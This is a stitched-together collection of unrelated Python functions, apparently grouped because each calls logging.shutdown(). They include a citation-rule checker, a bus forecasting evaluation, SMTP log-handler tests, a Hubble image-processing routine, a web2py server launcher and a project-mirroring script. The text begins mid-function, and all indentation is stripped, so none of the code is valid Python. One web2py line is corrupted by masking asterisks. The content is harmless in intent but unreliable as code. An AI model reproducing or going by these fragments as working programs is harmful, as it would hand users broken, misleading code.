ih = soup1.index(s)
List1.append([
"BRX041",
"Bibliographic reference cross-references",
"For a numbered reference cited in full in the abstract and not cited anywhere else in the main body of the text replace the citation",
"error",
str(ih),
"Error:Sholud be replaced with name-date numbered cross-reference"
])
else:
lis2 = re.findall(
'[a-zA-Z]+\s\(\d\d\d\d\)\s\[\d+\]',
abs_text[:ind + 1])
if len(lis2) > 0:
l1 = lis2[-1]
for references in ref:
if s1 in references:
mnop = 1
if (mnop == 0):
ih = soup1.index(s)
List1.append([
"BRX041",
"Bibliographic reference cross-references",
"For a numbered reference cited in full in the abstract and not cited anywhere else in the main body of the text replace the citation",
"error",
str(ih),
"ERROR:name date numbered cross reference not in References"
])
else:
ih = soup1.index(s)
List1.append([
"BRX041",
"Bibliographic reference cross-references",
"For a numbered reference cited in full in the abstract and not cited anywhere else in the main body of the text replace the citation",
"error",
str(ih),
"Error:citation shold be replaced with name date and numbered cross ref"
])
if len(List1) == 0:
List1.append([
"BRX041", "Bibliographic reference cross-references",
"For a numbered reference cited in full in the abstract and not cited anywhere else in the main body of the text replace the citation",
"no error"
])
return List1
except Exception as e:
List2 = []
List2.append([
"BRX041", "Bibliographic reference cross-references",
"For a numbered reference cited in full in the abstract and not cited anywhere else in the main body of the text replace the citation",
"no error"
])
logging.info('=' * 50)
logging.exception(
"Got exception on main handler in BRX041 : Bibliographic reference cross-references "
)
logging.shutdown()
return List2
def closelog():
logging.shutdown()
def Shutdown(self):
self.getAppLogger().debug("Logging shutdown")
logging.shutdown()
def main():
"""
The performance of 5 models are compared:
(1) ARIMA,
(2) ARIMA with average day trend template,
(3) day trend average,
(4) day trend + ewma filtered detrending residual
(5) dummy mean
The results are save in a log file.
"""
# Outliers are removed before being used for forecasting.
# But outliers are included in evaluation, so the forecasts are compared with the real raw data.
create_folders('output', ['forecasts'])
# turn on logging
fname = './output/' + "forecasts" + datetime.now().time().strftime(
"%Hh%Mm") + ".txt"
logging.basicConfig(filename=fname,
level=logging.INFO,
format='%(message)s')
df_test = csv_reader(s.filename,
field_names=s.field_names,
desc=s.desc_names,
split=s.split - 1)
df_test_original = df_test.copy(
) # keep the original data for performance evaluation
# cleaned observations for forecasting
# now rmvoutliers_fill is on an individual day series, while in training phase, it's on an aligned series of all the historical data.
# use ewm with a larger ALPHAl, or a moving window with smaller window
for f in s.field_names:
rmvoutliers_fill(df_test[f], fill='ewm', n=1)
mdl_list = [
'ARIMA', 'ARIMA_trend', 'average_trend', 'ewma_trend', 'ewma',
'dummy_means'
]
err_mae = pd.DataFrame(None, mdl_list, s.field_names)
err_quant = pd.DataFrame(None, mdl_list, s.field_names)
for mdl in mdl_list:
df_hat = forecast(df_test, s.field_names, mdlname=mdl)
# mean absolute error and 75% quantile
err_mae.loc[mdl, :] = (df_test_original[s.field_names] -
df_hat).abs().mean()
err_quant.loc[mdl, :] = (df_test_original[s.field_names] -
df_hat).abs().quantile(q=0.75)
if VERBOSE >= 1:
# plot an example day series for all the stops.
mdl_list2 = ['ARIMA_trend', 'average_trend', 'ewma_trend']
ts = pd.DataFrame(None, columns=mdl_list2)
date = '2016-07-22'
for f in s.field_names:
ts['Orignal'] = df_test_original.loc[date, f]
for mdl in mdl_list2:
ts[mdl] = forecast(df_test[date], [f], mdlname=mdl)
ax = ts.plot(title="Stop-travel time forecasting for " + f + ' (' +
date + ')')
import matplotlib.dates as mdates
ax.xaxis.set_major_formatter(mdates.DateFormatter('%H:%M'))
plt.tight_layout()
fig = ax.get_figure()
fig.savefig('./output/forecasts/' + f + '.pdf')
plt.close(fig)
logging.info('\n' * 2)
logging.info(
'======================================================================================================'
)
logging.info(
' Performance Evaluation of Stop/travel Time Forecast for Next Bus (in seconds) '
)
logging.info(
'======================================================================================================'
)
logging.info('\n' * 2)
logging.info(
' Mean Absolute Error '
)
logging.info(
'--------------------------------------------------------------------------------------------------'
)
logging.info(err_mae.to_string(line_width=100))
logging.info('\n' * 2)
logging.info('The average mean absolute error over all the stops:\n')
logging.info(err_mae.mean(axis=1))
logging.info('\n' * 2)
logging.info(
' 75% Quantile of Forecasting Error '
)
logging.info(
'--------------------------------------------------------------------------------------------------'
)
logging.info(err_quant.to_string(line_width=100))
logging.info('\n' * 2)
logging.info('The average 75% error quantile over all the stops:\n')
logging.info(err_quant.mean(axis=1))
i = 0
k = 10
methods = ['average_trend', 'ewma_trend', 'dummy_means']
while i * k < s.field_names.__len__():
ax = plot_bar_chart(err_mae.loc[methods].values[:, i * k:i * k + k],
err_quant.loc[methods].values[:, i:i + k],
'Absolute Forcast Error and 75% Quantile',
s.field_names[i * k:i * k + k],
legend=methods)
i += 1
fig = ax.get_figure()
fig.savefig('./output/forecast_error_' + str(i) + '.pdf')
plt.close(fig)
logging.info('\n' * 2)
logging.info(
"""\n ---------------------- The testing is over! ------------------------------ """
)
logging.shutdown()
def test_tmpfile_goes_away(self):
self.create('*****@*****.**', ('*****@*****.**',))
os.remove(self.handler.filename)
logging.shutdown()
self.assertEqual(len(DummySMTP.sent), 1)
def shutdown():
logging.shutdown()
def test_dont_send_empty(self):
self.create('*****@*****.**', ('*****@*****.**',),
send_empty_entries=False)
logging.shutdown()
self.assertEqual(len(DummySMTP.sent), 0)
def closeLogger(self):
logging.shutdown()
def test_reopen(self):
self.create('*****@*****.**', ('*****@*****.**',))
self.handler.reopen()
logging.shutdown()
self.assertEqual(len(DummySMTP.sent), 2)
def test_send_level_filters(self):
self.create('*****@*****.**', ('*****@*****.**',),
send_level=logging.CRITICAL)
self.logger.warning('This line will not be sent')
logging.shutdown()
self.assertEqual(len(DummySMTP.sent), 0)
def run_mvm_processing(input_filename,
diagnostic_mode=False,
use_defaults_configs=True,
input_custom_pars_file=None,
output_custom_pars_file=None,
phot_mode="both",
log_level=logutil.logging.INFO):
"""
Run the HST Advanced Products (HAP) generation code. This routine is the sequencer or
controller which invokes the high-level functionality to process the multi-visit data.
Parameters
----------
input_filename: string
The 'poller file' where each line contains information regarding an exposures considered
part of the multi-visit.
diagnostic_mode : bool, optional
Allows printing of additional diagnostic information to the log. Also, can turn on
creation and use of pickled information.
use_defaults_configs: bool, optional
If True, use the configuration parameters in the 'default' portion of the configuration
JSON files. If False, use the configuration parameters in the "parameters" portion of
the file. The default is True.
input_custom_pars_file: string, optional
Represents a fully specified input filename of a configuration JSON file which has been
customized for specialized processing. This file should contain ALL the input parameters
necessary for processing. If there is a filename present for this parameter, the
'use_defaults_configs' parameter is ignored. The default is None.
output_custom_pars_file: string, optional
Fully specified output filename which contains all the configuration parameters
available during the processing session. The default is None.
phot_mode : str, optional
Which algorithm should be used to generate the sourcelists? 'aperture' for aperture (point) photometry;
'segment' for isophotal photometry; 'both' for both 'segment' and 'aperture'. Default value is 'both'.
log_level : int, optional
The desired level of verboseness in the log statements displayed on the screen and written to the .log file.
Default value is 20, or 'info'.
RETURNS
-------
return_value: integer
A return exit code used by the calling Condor/OWL workflow code: 0 (zero) for success, 1 for error
"""
# This routine needs to return an exit code, return_value, for use by the calling
# Condor/OWL workflow code: 0 (zero) for success, 1 for error condition
return_value = 0
log.setLevel(log_level)
# Define trailer file (log file) that will contain the log entries for all processing
if isinstance(input_filename,
str): # input file is a poller file -- easy case
logname = input_filename.replace('.out', '.log')
else:
logname = 'mvm_process.log'
# Initialize total trailer filename as temp logname
logging.basicConfig(filename=logname,
format=SPLUNK_MSG_FORMAT,
datefmt=MSG_DATEFMT)
# start processing
starting_dt = datetime.datetime.now()
log.info("Run start time: {}".format(str(starting_dt)))
total_obj_list = []
product_list = []
try:
# Parse the MVM poller file and generate the the obs_info_dict, as well as the total detection
# product lists which contain the ExposureProduct, FilterProduct, and TotalProduct objects
# A poller file contains visit data for a single instrument. The TotalProduct discriminant
# is the detector. A TotalProduct object is comprised of FilterProducts and ExposureProducts
# where its FilterProduct is distinguished by the filter in use, and the ExposureProduct
# is the atomic exposure data.
log.info(
"Parse the poller and determine what exposures need to be combined into separate products.\n"
)
obs_info_dict, total_obj_list = poller_utils.interpret_mvm_input(
input_filename, log_level, layer_method='all')
# Generate the name for the manifest file which is for the entire multi-visit. It is fine
# to use only one of the Total Products to generate the manifest name as the name is not
# dependent on the detector.
# Example: instrument_programID_obsetID_manifest.txt (e.g.,wfc3_b46_06_manifest.txt)
manifest_name = total_obj_list[0].manifest_name
log.info("\nGenerate the manifest name for this multi-visit.")
log.info(
"The manifest will contain the names of all the output products.")
# The product_list is a list of all the output products which will be put into the manifest file
product_list = []
# Update the SkyCellProduct objects with their associated configuration information.
for filter_item in total_obj_list:
filter_item.generate_metawcs()
filter_item.generate_footprint_mask()
log.info(
"Preparing configuration parameter values for filter product {}"
.format(filter_item.drizzle_filename))
filter_item.configobj_pars = config_utils.HapConfig(
filter_item,
log_level=log_level,
use_defaults=use_defaults_configs,
input_custom_pars_file=input_custom_pars_file,
output_custom_pars_file=output_custom_pars_file)
log.info(
"The configuration parameters have been read and applied to the drizzle objects."
)
reference_catalog = run_align_to_gaia(total_obj_list,
log_level=log_level,
diagnostic_mode=diagnostic_mode)
if reference_catalog:
product_list += [reference_catalog]
# Run AstroDrizzle to produce drizzle-combined products
log.info("\n{}: Create drizzled imagery products.".format(
str(datetime.datetime.now())))
driz_list = create_drizzle_products(total_obj_list)
product_list += driz_list
# Store total_obj_list to a pickle file to speed up development
if False:
pickle_filename = "total_obj_list_full.pickle"
if os.path.exists(pickle_filename):
os.remove(pickle_filename)
pickle_out = open(pickle_filename, "wb")
pickle.dump(total_obj_list, pickle_out)
pickle_out.close()
log.info(
"Successfully wrote total_obj_list to pickle file {}!".format(
pickle_filename))
# Quality assurance portion of the processing - done only if the environment
# variable, SVM_QUALITY_TESTING, is set to 'on', 'yes', or 'true'.
qa_switch = _get_envvar_switch(envvar_qa_svm)
# If requested, generate quality assessment statistics for the SVM products
if qa_switch:
log.info(
"SVM Quality Assurance statistics have been requested for this dataset, {}."
.format(input_filename))
# Number of sources in Point and Segment catalogs
total_catalog_list = [i for i in catalog_list if 'total' in i]
fits_list = [i for i in driz_list if 'fits' in i]
total_drizzle_list = [i for i in fits_list if 'total' in i]
svm_qa.compare_num_sources(total_catalog_list,
total_drizzle_list,
log_level=log_level)
# Get point/segment cross-match RA/Dec statistics
for filter_obj in total_obj_list:
svm_qa.compare_ra_dec_crossmatches(filter_obj,
log_level=log_level)
# Identify the number of GAIA sources in final product footprints
for filter_obj in total_obj_list:
svm_qa.find_gaia_sources(filter_obj, log_level=log_level)
# Photometry of cross-matched sources in Point and Segment catalogs for Filter products
tot_len = len(total_obj_list)
filter_drizzle_list = []
temp_list = []
for tot in total_obj_list:
temp_list = [x.drizzle_filename for x in tot.fdp_list]
filter_drizzle_list.extend(temp_list)
svm_qa.compare_photometry(filter_drizzle_list, log_level=log_level)
# 9: Compare results to HLA classic counterparts (if possible)
# if diagnostic_mode:
# run_sourcelist_comparison(total_obj_list, diagnostic_mode=diagnostic_mode, log_level=log_level)
# Insure manifest file does not contain duplicate entries
# Use of numpy.unique preserves the order of the entries in the product list
product_list = np.unique(product_list).tolist()
# Write out manifest file listing all products generated during processing
log.info("Creating manifest file {}.".format(manifest_name))
log.info(
" The manifest contains the names of products generated during processing."
)
with open(manifest_name, mode='w') as catfile:
[catfile.write("{}\n".format(name)) for name in product_list]
# 10: Return exit code for use by calling Condor/OWL workflow code: 0 (zero) for success, 1 for error condition
return_value = 0
except Exception:
return_value = 1
print("\a\a\a")
exc_type, exc_value, exc_tb = sys.exc_info()
traceback.print_exception(exc_type, exc_value, exc_tb, file=sys.stdout)
logging.exception("message")
finally:
end_dt = datetime.datetime.now()
log.info('Processing completed at {}'.format(str(end_dt)))
log.info('Total processing time: {} sec'.format(
(end_dt - starting_dt).total_seconds()))
log.info(
"Return exit code for use by calling Condor/OWL workflow code: 0 (zero) for success, 1 for error "
)
log.info("Return condition {}".format(return_value))
logging.shutdown()
# Append total trailer file (from astrodrizzle) to all total log files
if total_obj_list:
for tot_obj in total_obj_list:
proc_utils.append_trl_file(tot_obj.trl_filename,
logname,
clean=False)
# Now remove single temp log file
if os.path.exists(logname):
os.remove(logname)
else:
print(
"Master log file not found. Please check logs to locate processing messages."
)
return return_value
def test_do_send_empty(self):
self.create('*****@*****.**', ('*****@*****.**',))
logging.shutdown()
self.assertEqual(len(DummySMTP.sent), 1)
def stop_logging():
"""
Stop Pulp's logging.
"""
# remove all the existing handlers and loggers from the logging module
logging.shutdown()
def start(cron=True):
""" Start server """
# ## get command line arguments
(options, args) = console()
if not options.nobanner:
print ProgramName
print ProgramAuthor
print ProgramVersion
from dal import drivers
if not options.nobanner:
print 'Database drivers available: %s' % ', '.join(drivers)
# ## if -L load options from options.config file
if options.config:
try:
options2 = __import__(options.config, {}, {}, '')
except Exception:
try:
# Jython doesn't like the extra stuff
options2 = __import__(options.config)
except Exception:
print 'Cannot import config file [%s]' % options.config
sys.exit(1)
for key in dir(options2):
if hasattr(options, key):
setattr(options, key, getattr(options2, key))
# ## if -T run doctests (no cron)
if hasattr(options, 'test') and options.test:
test(options.test, verbose=options.verbose)
return
# ## if -S start interactive shell (also no cron)
if options.shell:
if options.args != None:
sys.argv[:] = options.args
run(options.shell,
plain=options.plain,
bpython=options.bpython,
import_models=options.import_models,
startfile=options.run)
return
# ## if -C start cron run (extcron) and exit
# ## if -N or not cron disable cron in this *process*
# ## if --softcron use softcron
# ## use hardcron in all other cases
if options.extcron:
print 'Starting extcron...'
global_settings.web2py_crontype = 'external'
extcron = newcron.extcron(options.folder)
extcron.start()
extcron.join()
return
elif cron and not options.nocron and options.softcron:
print 'Using softcron (but this is not very efficient)'
global_settings.web2py_crontype = 'soft'
elif cron and not options.nocron:
print 'Starting hardcron...'
global_settings.web2py_crontype = 'hard'
newcron.hardcron(options.folder).start()
# ## if -W install/start/stop web2py as service
if options.winservice:
if os.name == 'nt':
web2py_windows_service_handler(['', options.winservice],
options.config)
else:
print 'Error: Windows services not supported on this platform'
sys.exit(1)
return
# ## if no password provided and havetk start Tk interface
# ## or start interface if we want to put in taskbar (system tray)
try:
options.taskbar
except:
options.taskbar = False
if options.taskbar and os.name != 'nt':
print 'Error: taskbar not supported on this platform'
sys.exit(1)
root = None
if not options.nogui:
try:
import Tkinter
havetk = True
except ImportError:
logger.warn(
'GUI not available because Tk library is not installed')
havetk = False
if options.password == '<ask>' and havetk or options.taskbar and havetk:
try:
root = Tkinter.Tk()
except:
pass
if root:
root.focus_force()
if not options.quiet:
presentation(root)
master = web2pyDialog(root, options)
signal.signal(signal.SIGTERM, lambda a, b: master.quit())
try:
root.mainloop()
except:
master.quit()
sys.exit()
# ## if no tk and no password, ask for a password
if not root and options.password == '<ask>':
options.password = raw_input('choose a password:'******'no password, no admin interface'
# ## start server
(ip, port) = (options.ip, int(options.port))
if not options.nobanner:
print 'please visit:'
print '\thttp://%s:%s' % (ip, port)
print 'use "kill -SIGTERM %i" to shutdown the web2py server' % os.getpid(
)
server = main.HttpServer(ip=ip,
port=port,
password=options.password,
pid_filename=options.pid_filename,
log_filename=options.log_filename,
profiler_filename=options.profiler_filename,
ssl_certificate=options.ssl_certificate,
ssl_private_key=options.ssl_private_key,
min_threads=options.minthreads,
max_threads=options.maxthreads,
server_name=options.server_name,
request_queue_size=options.request_queue_size,
timeout=options.timeout,
shutdown_timeout=options.shutdown_timeout,
path=options.folder,
interfaces=options.interfaces)
try:
server.start()
except KeyboardInterrupt:
server.stop()
logging.shutdown()
def end():
"""End the program."""
logging.info('..Done')
logging.shutdown()
sys.exit()
def shutdown():
"""
Shut down the logger
"""
logging.shutdown()
def main():
ret = 0
parser = argparse.ArgumentParser(description='project mirroring',
parents=[get_baseparser(
tool_version=__version__)
])
parser.add_argument('project', nargs='*', default=None)
parser.add_argument('-a', '--all', action='store_true',
help='mirror all indexed projects', default=False)
parser.add_argument('-c', '--config',
help='config file in JSON/YAML format')
parser.add_argument('-U', '--uri', default='http://localhost:8080/source',
help='uri of the webapp with context path')
parser.add_argument('-b', '--batch', action='store_true',
help='batch mode - will log into a file')
parser.add_argument('-B', '--backupcount', default=8,
help='how many log files to keep around in batch mode')
parser.add_argument('-I', '--incoming', action='store_true',
help='Check for incoming changes, terminate the '
'processing if not found.')
parser.add_argument('-w', '--workers', default=cpu_count(),
help='Number of worker processes')
try:
args = parser.parse_args()
except ValueError as e:
fatal(e)
logger = get_console_logger(get_class_basename(), args.loglevel)
if len(args.project) > 0 and args.all:
fatal("Cannot use both project list and -a/--all")
if not args.all and len(args.project) == 0:
fatal("Need at least one project or --all")
if args.config:
config = read_config(logger, args.config)
if config is None:
fatal("Cannot read config file from {}".format(args.config))
else:
config = {}
uri = args.uri
if not is_web_uri(uri):
fatal("Not a URI: {}".format(uri))
logger.debug("web application URI = {}".format(uri))
if not check_configuration(config):
sys.exit(1)
# Save the source root to avoid querying the web application.
source_root = get_config_value(logger, 'sourceRoot', uri)
if not source_root:
sys.exit(1)
logger.debug("Source root = {}".format(source_root))
hookdir = config.get(HOOKDIR_PROPERTY)
if hookdir:
logger.debug("Hook directory = {}".format(hookdir))
command_timeout = get_int(logger, "command timeout",
config.get(CMD_TIMEOUT_PROPERTY))
if command_timeout:
logger.debug("Global command timeout = {}".format(command_timeout))
hook_timeout = get_int(logger, "hook timeout",
config.get(HOOK_TIMEOUT_PROPERTY))
if hook_timeout:
logger.debug("Global hook timeout = {}".format(hook_timeout))
# Log messages to dedicated log file if running in batch mode.
if args.batch:
logdir = config.get(LOGDIR_PROPERTY)
if not logdir:
fatal("The {} property is required in batch mode".
format(LOGDIR_PROPERTY))
projects = args.project
if len(projects) == 1:
lockfile = projects[0] + "-mirror"
else:
lockfile = os.path.basename(sys.argv[0])
if args.all:
projects = list_indexed_projects(logger, args.uri)
lock = FileLock(os.path.join(tempfile.gettempdir(), lockfile + ".lock"))
try:
with lock.acquire(timeout=0):
with Pool(processes=int(args.workers)) as pool:
worker_args = []
for x in projects:
worker_args.append([x, logdir, args.loglevel,
args.backupcount, config,
args.incoming,
args.uri, source_root,
args.batch])
print(worker_args)
try:
project_results = pool.map(worker, worker_args, 1)
except KeyboardInterrupt:
sys.exit(1)
else:
if any([True for x in project_results if x == 1]):
ret = 1
except Timeout:
logger.warning("Already running, exiting.")
sys.exit(1)
logging.shutdown()
sys.exit(ret)
def teardown_class(cls):
logging.shutdown()
def metric_cleanup(): logging.shutdown()
def restore_io():
logging.shutdown()
